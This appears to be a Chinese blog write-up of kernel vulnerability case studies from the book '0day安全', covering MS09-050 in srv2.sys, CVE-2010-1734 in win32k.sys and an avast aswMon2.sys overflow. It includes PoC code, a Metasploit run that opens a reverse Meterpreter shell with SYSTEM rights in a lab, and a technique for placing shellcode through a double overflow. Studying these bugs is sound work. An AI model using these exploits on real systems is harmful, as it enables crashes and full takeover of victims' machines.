0day安全 | Chapter 24 内核漏洞案例分析
启程
别去找我,尤其别去北非找我。
这句话出自尤·奈斯博的小说《猎豹》。
以前在知乎上看到余弦的一个观点:一切的安全问题都体现在“输入输出”上,一切的安全问题都存在于“数据流”的整个过程中。
对于内核,漏洞大多出没于Ring3与Ring0的交互中。上一章在“内核Fuzz思路”一节提到的各种入口,其实正是漏洞可能存在的地方。
本章我们来分析几个真实的内核漏洞。
远程拒绝服务
相关信息
# CVE-2009-3103
# MS09-050
# 概述:
# 实现SMBv2协议相关的srv2.sys驱动未正确处理包含畸形SMB头结构的NEGOTIATE PROTOCOL REQUEST
# (客户端发送给SMB服务器的第一个SMB查询,用于识别SMB语言并用于后续通信)
# 影响:
# 触发越界内存引用,导致内核态代码执行或拒绝服务
漏洞复现
环境:
拒绝服务复现
利用原书附带PoC,成功导致BSoD:
代码执行复现
一开始我只是想复现一下拒绝服务,后来发现Metasploit中有代码执行的ExP:
msf > search MS09-050
Matching Modules
================
Name Disclosure Date Rank Check Description
---- --------------- ---- ----- -----------
auxiliary/dos/windows/smb/ms09_050_smb2_negotiate_pidhigh normal No Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference
auxiliary/dos/windows/smb/ms09_050_smb2_session_logoff normal No Microsoft SRV2.SYS SMB2 Logoff Remote Kernel NULL Pointer Dereference
exploit/windows/smb/ms09_050_smb2_negotiate_func_index 2009-09-07 good No MS09-050 Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference
执行后成功获得SYSTEM权限:
msf exploit(windows/smb/ms09_050_smb2_negotiate_func_index) > set RHOST 172.16.56.154
RHOST => 172.16.56.154
msf exploit(windows/smb/ms09_050_smb2_negotiate_func_index) > exploit
[*] Started reverse TCP handler on 172.16.56.1:4444
[*] 172.16.56.154:445 - Connecting to the target (172.16.56.154:445)...
[*] 172.16.56.154:445 - Sending the exploit packet (938 bytes)...
[*] 172.16.56.154:445 - Waiting up to 180 seconds for exploit to trigger...
[*] Sending stage (179779 bytes) to 172.16.56.154
[*] Meterpreter session 1 opened (172.16.56.1:4444 -> 172.16.56.154:49165) at 2018-11-09 08:54:53 +0800
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
话说回来,对于一些溢出漏洞来说,“拒绝服务”和“代码执行”其实更多的是Shellcode及防御措施上的区别。Shellcode质量高,且防御措施能够被绕过,那么这就成了代码执行;否则可能只能达到拒绝服务的效果。
漏洞分析
SMB报文结构
+----------------------+
| TCP Header |
+----------------------+ -----
| NETBIOS Header | |
+----------------------+ v
| SMB Base Header |
+----------------------+ SMB Packet
| SMB Command Header |
+----------------------+ ^
| SMB DATA | |
+----------------------+ -----
下面是一个小脚本,用来生成像上面这样的层式结构:
#!/usr/bin/env python
num = input("How many layers would you like? ")
# input the layers
print("Please input the name of layer in order from top to bottom:")
i = 0
layers = []
max_len = 0
for i in range(int(num)):
layer = input("Layer " + str(i) + ": ")
layers.append(layer)
if len(layer) > max_len:
max_len = len(layer)
# output the packet
print("+" + "-" * (max_len + 4) + "+")
for layer in layers:
print("| " + layer + " " * (max_len + 2 - len(layer)) + "|")
print("+" + "-" * (max_len + 4) + "+")
言归正传。这些数据的具体结构如下:
// NETBIOS Header
NETBIOS Header{
UCHAR Type;
UCHAR Flags; // always 0
USHORT Length; // SMB Base Header + SMB Command Header + SMB DATA
}
// SMB Base Header
// https://msdn.microsoft.com/en-us/library/ee441774.aspx
SMB_Header{
UCHAR Protocol[4]; // '\xFF', 'S', 'M', 'B'
UCHAR Command;
SMB_ERROR Status;
UCHAR Flags;
USHORT Flags2;
USHORT PIDHigh;
UCHAR SecurityFeatures[8];
USHORT Reserved;
USHORT TID;
USHORT PIDLow;
USHORT UID;
USHORT MID;
}
// SMB Command Header
// https://msdn.microsoft.com/en-us/library/ee441822.aspx
SMB_Parameters{
UCHAR WordCount;
USHORT Words[WordCount]; // variable
}
// SMB DATA
// https://msdn.microsoft.com/en-us/library/ee441822.aspx
SMB_Data{
USHORT ByteCount;
UCHAR Bytes[ByteCount]; // variable
}
漏洞定位
漏洞在于,在客户端向服务端发出的SMB_Header.Command
为0x72 (SMBnegprot)
磋商协议数据包中,畸形的SMB_Header.PIDHigh
将导致代码执行或服务端内核崩溃。
先分析一下触发拒绝服务的PoC:
buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26" # Process ID High: --> :) normal value should be "\x00\x00"
# ...
)
正常情况下,PID不超过65535时,PIDHigh应该为0。那么为什么这里会触发漏洞?我们提取漏洞驱动srv2.sys
来分析。
首先使用WinDbg附带的工具symchk下载srv2.sys的符号文件
symchk e:\srv2.sys /s SRV*c:\symbols*http://msdl.microsoft.com/download/symbols
然后用IDA Pro加载.sys和.pdb文件。漏洞点在Smb2ValidateProviderCallback
函数中:
int __stdcall Smb2ValidateProviderCallback(PVOID DestinationBuffer)
{
// v1 points to SMB Base Header
v1 = *(_DWORD *)(*((_DWORD *)DestinationBuffer + 28) + 12); // loc_1
v2 = *(_DWORD *)(*((_DWORD *)DestinationBuffer + 12) + 344);
v3 = *((_DWORD *)DestinationBuffer + 91);
*(_DWORD *)(v3 + 56) = -1;
*(_DWORD *)(v3 + 60) = -1;
*(_DWORD *)(v3 + 12) = DestinationBuffer;
v4 = *((_DWORD *)DestinationBuffer + 28);
*((_DWORD *)DestinationBuffer + 89) = Smb2CleanupWorkItem;
v5 = *(_DWORD *)(v4 + 20);
v23 = v1;
v24 = v3;
v25 = v2;
// ...
LABEL_83:
if ( *((_BYTE *)pSrv2TraceInfo + 12) & 4 && pSrv2TraceInfo[2] & 0x8000000 )
Smb2OutputWorkItemRequest(DestinationBuffer);
// *(_WORD *)(v1 + 12) is PIDHigh
v19 = ValidateRoutines[*(_WORD *)(v1 + 12)]; // loc_2
if ( v19 )
result = v19(DestinationBuffer);
else
result = -1073741822;
return result;
}
根据代码中loc_1
和loc_2
可知PIDHigh
将作为数组下标去进行一个取值操作。那么如果我们让PIDHigh
很大,ValidateRoutines + *(_WORD *)(v1 + 12)
将是一个非法地址,从而导致非法内存访问,这是拒绝服务的原理。那么MSF的代码执行又是什么原理呢?可以参考modules/exploits/windows/smb/ms09_050_smb2_negotiate_func_index.rb
(未来可深入探究)。
本地拒绝服务
相关信息
这个漏洞是MJ0011郑文彬发布的。
# CVE-2010-1734
# 概述:
# Win32k.sys模块在DispatchMessage时,将可控参数视作地址从而导致非法地址读
# 影响:
# 2000/XP/2003,系统崩溃
漏洞复现
环境:
PoC:
#include "stdio.h"
#include "windows.h"
int main(int argc, char* argv[])
{
wchar_t title[MAX_PATH]={0};
printf("Microsoft Windows Win32k.sys SfnINSTRING Local D.O.S Vuln\nBy MJ0011\nth_decoder@126.com\nPressEnter");
HWND hwnd = FindWindow(L"DDEMLEvent" , NULL);
if (hwnd == 0){
printf("cannot find DDEMLEvent Window!\n");
return 0 ;
}
GetWindowText(hwnd,title,MAX_PATH);
printf("hwnd=%08X title=%s\n", hwnd, title);
getchar();
PostMessage(hwnd , 0x18d , 0x0 , 0x80000000);
return 0;
}
用VS 2008编译运行:
漏洞分析
先去下载win32k.pdb,然后载入IDA。
漏洞点如下:
int __stdcall xxxDefWindowProc(int a1, int MbString, ULONG AllocationSize, PVOID Address)
{
// ...
else
{
v4 = MbString & 0x1FFFF;
if ( *(_BYTE *)(a1 + 22) & 8 )
{
if ( v4 < 0x400 )
result = gapfnScSendMessage[MessageTable[(unsigned __int16)MbString] & 0x3F](
a1,
MbString,
AllocationSize,
Address,
0,
*(_DWORD *)(gpsi + 308),
1,
0);
else
result = SfnDWORD(a1, MbString, AllocationSize, Address, 0, *(_DWORD *)(gpsi + 308), 1, 0);
}
// ...
else
{
result = gapfnScSendMessage[MessageTable[(unsigned __int16)MbString] & 0x3F](
a1,
MbString,
AllocationSize,
Address,
0,
*(_DWORD *)(gpsi + 396),
0,
0);
}
}
return result;
}
在触发漏洞时MbString = 0x18d
,所以上面的MessageTable[(unsigned __int16)MbString] & 0x3F
为0x05:
.rdata:BF990E48 ; char MessageTable[]
.rdata:BF990E48 _MessageTable db 0 ; DATA XREF: xxxDispatchMessage(x)-32 r
.rdata:BF990E48 ; xxxDispatchMessage(x)+30 r ...
...
.rdata:BF990FD5 db 45h ; E
gapfnScSendMessage
是一个函数表,最终调用的函数是gapfnScSendMessage[0x05]
,即下面的SfnINSTRING
函数:
.rdata:BF990C88 _gapfnScSendMessage dd offset _SfnDWORD@32
.rdata:BF990C88 ; DATA XREF: xxxDispatchMessage(x)-29 r
.rdata:BF990C88 ; xxxDefWindowProc(x,x,x,x)+6E r ...
.rdata:BF990C88 ; SfnDWORD(x,x,x,x,x,x,x,x)
.rdata:BF990C8C dd offset _SfnNCDESTROY@32 ; SfnNCDESTROY(x,x,x,x,x,x,x,x)
.rdata:BF990C90 dd offset _SfnINLPCREATESTRUCT@32 ; SfnINLPCREATESTRUCT(x,x,x,x,x,x,x,x)
.rdata:BF990C94 dd offset _SfnINSTRINGNULL@32 ; SfnINSTRINGNULL(x,x,x,x,x,x,x,x)
.rdata:BF990C98 dd offset _SfnOUTSTRING@32 ; SfnOUTSTRING(x,x,x,x,x,x,x,x)
.rdata:BF990C9C dd offset _SfnINSTRING@32 ; SfnINSTRING(x,x,x,x,x,x,x,x)
我们看一下这个函数:
int *__stdcall SfnINSTRING(int a1, int a2, int a3, int a4, int a5, int a6, char a7, int a8)
{
// ...
if ( a4 && (*(_DWORD *)(a4 + 8) >= (unsigned int)_MmSystemRangeStart || *(_DWORD *)(a4 + 4) >> 31 != (a7 & 1)) )
{
v44 = 1;
if ( ULongAdd(*(_DWORD *)a4, 2, &AllocationSize) < 0
|| *(_BYTE *)(a4 + 7) & 0x80
&& !(a7 & 1)
&& ULongLongToULong(2 * AllocationSize, (unsigned __int64)AllocationSize >> 31, &AllocationSize) < 0 )
{
goto LABEL_33;
}
}
// ...
}
注意到当a4不为0时,上述代码将直接访问a4 + 8
处的DWORD数据。一路追溯上去,a4其实是xxxDefWindowProc
函数的第四个参数。那么a4 + 8
如果是非法地址,就会引起系统崩溃。比如PoC中传入的是0x80000000
:
PostMessage(hwnd , 0x18d , 0x0 , 0x80000000);
缓冲区溢出
相关信息
# 参考URL:https://www.exploit-db.com/exploits/9492/
# 漏洞程序:avast! 4.8.1335 Professionnel
# 漏洞驱动:aswMon2.sys
# 漏洞类型:本地内核缓冲区溢出
漏洞复现
测试PoC来自上面的参考URL,随书附带光盘中也有。漏洞程序可以从参考URL下载。PoC过长,这里就不展示了。环境与上一个实验相同。
漏洞分析
这是一个非常有意思的漏洞,利用过程也很经典,其中使用到了二次溢出的思想——我们知道,CTF pwn中常常会需要进行二次溢出(或者二次漏洞触发)。我们深入到漏洞驱动aswmon2.sys
去分析一下。
sub_10B42
处理IoControlCode为0xb2c8000c
的逻辑如下:
char __stdcall sub_10B42(int a1, int a2, PCSZ SourceString, \
wchar_t *Str, wchar_t *Source, void *LinkHandle, \
int a7, int a8, ULONG ReturnedLength)
{
if ( a7 != 0xB2C80008 ){
if ( a7 != 0xB2C8000C ){
LABEL_92:
v30 = (_DWORD *)a8;
*(_DWORD *)(a8 + 4) = 4;
*v30 = 0xC000000D;
return 0;
}
if ( Str != (wchar_t *)0x1448 )
goto LABEL_92;
qmemcpy(&dword_189D8, SourceString, 0x1448u);
sub_108F0();
return 0;
}
}
如果输入缓冲区长度为0x1448
,则将输入缓冲区复制到&dword_189D8
地址处,接着调用sub_108F0
,然后返回。
sub_108F0
的逻辑如下:
char sub_108F0()
{
// ...
char *v2; // edi
char *v3; // edi
// ...
v2 = &byte_19218;
if ( byte_19218 ){
do{
sub_14228(v2);
v2 += strlen(v2) + 1; // next str
} while ( *v2 );
}
// aRwFon = "<RW>*.FON"
*(_DWORD *)v2 = *(_DWORD *)aRwFon;
v3 = v2 + 4;
*(_DWORD *)v3 = *(_DWORD *)&aRwFon[4];
v3 += 4;
strcpy(v3, "N");
v3[2] = aRwFon[10];
sub_12374(0, 1);
return 1;
}
其目的很简单,从0x19218
开始跳过所有字符串,然后将"<RW>*.FON"
及其后面、一共11个字节拷贝过去。然而,0x189d8 + 0x1448 = 0x19e20 > 19218
,这说明拷贝空间在我们的控制范围内(准确的说,可以通过输入缓冲区控制)。
因此,如果我们按照如下方式填充输入缓冲区,"<RW>*.FON"
将被复制到0x1448
个字节以外的地方:
巧的是,\0<RW
刚好本应是一个函数指针的位置(0x19E20
),且这个函数在sub_1034E
中会被调用:
.data:00019E1C db 0
.data:00019E1D db 0
.data:00019E1E db 0
.data:00019E1F db 0
.data:00019E20 dword_19E20 dd 0 ; DATA XREF: sub_1034E+17↑r
.data:00019E20 ; DriverEntry+1A3↑w ...
.data:00019E24 dword_19E24 dd 0 ; DATA XREF: sub_1034E+34↑r
.data:00019E24 ; DriverEntry+1B9↑w ...
char __stdcall sub_1034E(int a1)
{
char v1; // bl
int v2; // esi
int v4; // [esp+4h] [ebp-8h]
int v5; // [esp+8h] [ebp-4h]
v1 = 0;
if ( byte_19E30 ){
if ( dword_19E20(a1, &v5) >= 0 ){ // here!
if ( v5 ){
v2 = dword_19E24(v5, &unk_181CC, &v4, 0);
if ( v2 >= 0 ){
if ( dword_19E28 )
HIBYTE(a1) = dword_19E28(v4);
else
v2 = dword_19E2C(v4, (char *)&a1 + 3);
if ( v2 >= 0 && !HIBYTE(a1) )
v1 = 1;
}
}
}
}
return v1;
}
更巧的是,\0<RW
对应0x57523c00
,这是一个合法的用户态空间地址,可以通过动态内存申请获得这个地址的使用权,从而在这里布置shellcode。
现在还有一个问题,在sub_1034E
中,只有当byte_19E30
不为0时,dword_19E20
指向的函数才会被调用。但0x19E30 > 0x19E20
,也就是说这个地址在输入缓冲区可以控制的范围之外。怎样才能让它不为0呢?
我们可以通过二次溢出的方式解决问题——0x19E30 - 0x19E20 = 0x10
,而2 * 11 = 22 > 0x10
。所以只需要在第一次触发漏洞后再次触发,使sub_108F0
将执行两次,这样将形成以下局面:
可以发现,此时byte_19E30
已经不为0了。
至此,只需要申请0x57523c00
起始的内存并放置shellcode就好。
总结
上面的“缓冲区溢出”漏洞真的蛮奇特,它的的确确是溢出,覆盖的位置也很类似于经典栈溢出中的ret返回地址,但这个位置并不是返回地址。然而,它却是一个被其他函数调用的函数指针位置!且覆盖值\0<RW
是一个合法的堆内存申请地址。一切刚刚好,太巧妙了。
原书中本章还有瑞星的“任意地址写任意数据”漏洞和XP SP2/3的win32k.sys NTUserConsoleControl
漏洞。这里不再复现。
内核漏洞的利用方式和用户态存在差异,还是需要熟悉内核,才能做到游刃有余。